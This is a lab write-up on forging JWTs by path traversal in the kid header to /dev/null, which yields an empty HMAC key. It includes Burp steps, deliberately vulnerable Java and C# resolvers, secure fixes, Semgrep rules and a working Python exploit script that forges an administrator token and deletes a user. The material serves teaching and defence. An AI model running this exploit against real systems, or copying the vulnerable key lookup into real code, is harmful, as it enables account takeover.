Lab 06: JWT authentication bypass via kid header path traversal
1. Executive Summary
Vulnerability: Path Traversal leading to JWT Signature Bypass.
Description: The application uses the kid (Key ID) header in the JWT to locate the correct symmetric verification key on its local filesystem. Because the application fails to sanitize the kid value, an attacker can use a path traversal sequence (../../../../../../../dev/null) to point the file reader to /dev/null. This forces the application to load an empty file, effectively setting the symmetric HMAC secret to an empty string or null byte.
Impact: Full Account Takeover. The attacker can forge tokens for any user and sign them using a known, empty symmetric key, bypassing the authentication mechanism entirely.
2. The Attack
Objective: Access the admin panel by forcing the server to use /dev/null as the HMAC signing key, allowing us to forge a valid token for the administrator.
- Reconnaissance & Key Preparation:
- I logged in as
wienerand captured the session JWT. - In Burp’s JWT Editor Keys tab, I created a New Symmetric Key.
- I generated a JWK and replaced the
kvalue (the secret) withAA==(which represents a Base64-encoded null byte). This acts as my local signing key to match the empty/dev/nullfile on the server.
- I logged in as
- Token Forgery:
- I sent the
GET /adminrequest to Repeater and switched to the JSON Web Token view. - In the Header, I changed the
kidparameter to the path traversal payload:../../../../../../../dev/null. - In the Payload, I changed the
subclaim toadministrator.
- I sent the
- Exploitation:
- I clicked Sign at the bottom of the tab and selected the null-byte symmetric key I created earlier.
- I checked Don’t modify header to ensure my traversal payload remained intact.
- I sent the request. The server read
/dev/null, derived an empty byte array for the secret, and successfully verified my forged HMAC signature. - I accessed the admin panel and executed the
/admin/delete?username=carlosendpoint.
3. Code Review
Java (Spring Boot / JJWT)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Claims parseToken(String token) {
return Jwts.parserBuilder()
.setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
String kid = header.getKeyId();
try {
// VULNERABLE: Direct concatenation of attacker input into a file path
Path keyPath = Paths.get("/var/www/jwt/keys/" + kid);
// Reading the file blindly
return Files.readAllBytes(keyPath);
} catch (IOException e) {
return null;
}
}
})
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
Paths.get("/var/www/jwt/keys/" + kid): The application attempts to dynamically load the signing key from disk. It concatenates the hardcoded directory with the attacker-controlledkid.- Path Traversal: When
kidis../../../../../../../dev/null, the resulting path resolves backwards up to the filesystem root, ultimately targeting the/dev/nulldevice file. Files.readAllBytes(keyPath): The application reads/dev/null, which is completely empty. It returns an empty byte array (byte[0]). The JJWT library then uses this empty array as the HMAC secret to verify the token, allowing the attack to succeed.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public ClaimsPrincipal ValidateToken(string token)
{
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
ValidateIssuer = false,
ValidateAudience = false,
IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
{
// VULNERABLE: Using Path.Combine with untrusted input
var keyPath = Path.Combine("App_Data", "Keys", kid);
if (File.Exists(keyPath))
{
// Reading the traversed file
var keyBytes = File.ReadAllBytes(keyPath);
return new[] { new SymmetricSecurityKey(keyBytes) };
}
return null;
}
};
return handler.ValidateToken(token, parameters, out _);
}
Technical Flow & Syntax Explanation:
Path.Combine("App_Data", "Keys", kid): In .NET, if the second or third argument toPath.Combineis an absolute path or contains traversal characters (..), it can navigate outside the intended directory.File.ReadAllBytes(keyPath): Similar to the Java example, reading/dev/null(or a similar empty file construct if running on Linux/Containers) yields an empty byte array.new SymmetricSecurityKey(keyBytes): The framework accepts the empty byte array as a valid cryptographic key, resulting in a successful bypass when checking the forged HMAC signature.
Mock PR Comment
The JWT verification logic resolves the signing key by reading a file from the disk based on the kid header. Because this input is not sanitized, an attacker can perform a path traversal attack to force the application to read /dev/null. This results in the token being verified against an empty secret key.
Recommendation: Do not use filesystem lookups based on raw token headers. Instead, load all valid keys into a static, in-memory Map or Dictionary at application startup. Use the kid solely to perform a safe lookup within this data structure.
4. The Fix
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Store keys in a secure, pre-loaded map
private static final Map<String, byte[]> TRUSTED_KEYS = loadKeysAtStartup();
public Claims parseToken(String token) {
return Jwts.parserBuilder()
.setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
String kid = header.getKeyId();
// SECURE: Direct map lookup prevents path traversal entirely
byte[] key = TRUSTED_KEYS.get(kid);
if (key == null) {
throw new SecurityException("Unknown kid provided.");
}
return key;
}
})
.build()
.parseClaimsJws(token)
.getBody();
}
Technical Flow & Syntax Explanation:
TRUSTED_KEYS.get(kid): By replacing the file I/O operations with an in-memoryMaplookup, the vulnerability class (Path Traversal) is entirely eliminated. If the attacker supplies../../../../../../../dev/null, theMapsimply returnsnull, and the authentication fails securely.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Pre-loaded dictionary of valid keys
private readonly Dictionary<string, byte[]> _trustedKeys = LoadKeys();
public ClaimsPrincipal ValidateToken(string token)
{
var handler = new JwtSecurityTokenHandler();
var parameters = new TokenValidationParameters
{
IssuerSigningKeyResolver = (tokenStr, securityToken, kid, validationParameters) =>
{
// SECURE: Safe dictionary lookup
if (!string.IsNullOrEmpty(kid) && _trustedKeys.TryGetValue(kid, out var keyBytes))
{
return new[] { new SymmetricSecurityKey(keyBytes) };
}
throw new SecurityTokenException("Unknown or invalid kid.");
}
};
return handler.ValidateToken(token, parameters, out _);
}
Technical Flow & Syntax Explanation:
_trustedKeys.TryGetValue(kid, out var keyBytes): This safely checks if the untrustedkidstring explicitly matches an expected key ID loaded into memory. There is no string concatenation or filesystem interaction, cutting off the traversal vector completely.
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import argparse
import requests
import jwt # pip install PyJWT
import sys
def exploit_kid_traversal(url, username, password):
s = requests.Session()
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Logging in as {username}...")
s.post(login_url, data={'username': username, 'password': password})
token = s.cookies.get('session')
if not token:
print("[-] No session cookie found.")
return
print("[*] Forging admin token with path traversal kid...")
# 1. Decode original payload
payload_b64 = token.split('.')[1]
import base64
padding = '=' * (4 - (len(payload_b64) % 4))
payload_str = base64.urlsafe_b64decode(payload_b64 + padding).decode('utf-8')
import json
payload = json.loads(payload_str)
# 2. Modify claims
payload['sub'] = 'administrator'
# 3. Create malicious headers with Path Traversal
headers = {
"alg": "HS256",
"kid": "../../../../../../../dev/null"
}
# 4. Sign the token using an empty byte secret (representing /dev/null)
# A null byte or empty string satisfies the PyJWT encoding for HS256
empty_secret = b"\x00"
forged_token = jwt.encode(payload, empty_secret, algorithm="HS256", headers=headers)
print(f"[*] Sending forged token to /admin...")
s.cookies.set('session', forged_token)
resp = s.get(f"{url.rstrip('/')}/admin")
if "Admin panel" in resp.text:
print("[!!!] SUCCESS: Admin panel accessed.")
delete_url = f"{url.rstrip('/')}/admin/delete?username=carlos"
s.get(delete_url)
print("[+] Carlos deleted.")
else:
print(f"[-] Failed. Status: {resp.status_code}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("username", help="Your username (wiener)")
ap.add_argument("password", help="Your password (peter)")
args = ap.parse_args()
exploit_kid_traversal(args.url, args.username, args.password)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
- id: java-jwt-kid-path-traversal
languages: [java]
message: |
The JWT SigningKeyResolver extracts the 'kid' header and uses it in a file path operation.
This allows path traversal. Avoid using token headers to read files directly.
severity: ERROR
patterns:
- pattern-inside: |
new SigningKeyResolverAdapter() {
public byte[] resolveSigningKeyBytes(JwsHeader $HEADER, Claims $CLAIMS) {
...
}
}
- pattern: Paths.get(..., $HEADER.getKeyId(), ...)
Technical Flow & Syntax Explanation:
resolveSigningKeyBytes: Narrows the analysis context to the JJWT key resolution block handling raw bytes.Paths.get(..., $HEADER.getKeyId(), ...): Identifies the exact dangerous sink where the unsanitizedkidheader is passed into a filesystem path construction method.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: csharp-jwt-kid-path-traversal
languages: [csharp]
message: |
IssuerSigningKeyResolver reads the 'kid' header and passes it to Path.Combine or File operations.
This leads to path traversal and cryptographic bypass.
severity: ERROR
patterns:
- pattern-inside: |
IssuerSigningKeyResolver = ($TOKEN, $SECTOKEN, $KID, $PARAMS) => { ... }
- pattern-either:
- pattern: Path.Combine(..., $KID, ...)
- pattern: File.ReadAllBytes($KID)
Technical Flow & Syntax Explanation:
IssuerSigningKeyResolver = ...: Targets the C# delegate used for dynamic key retrieval.Path.Combine(..., $KID, ...): Flags the unsafe concatenation of the user-controlledkidstring into a filepath, identifying the root cause of the traversal vulnerability within the cryptographic logic.
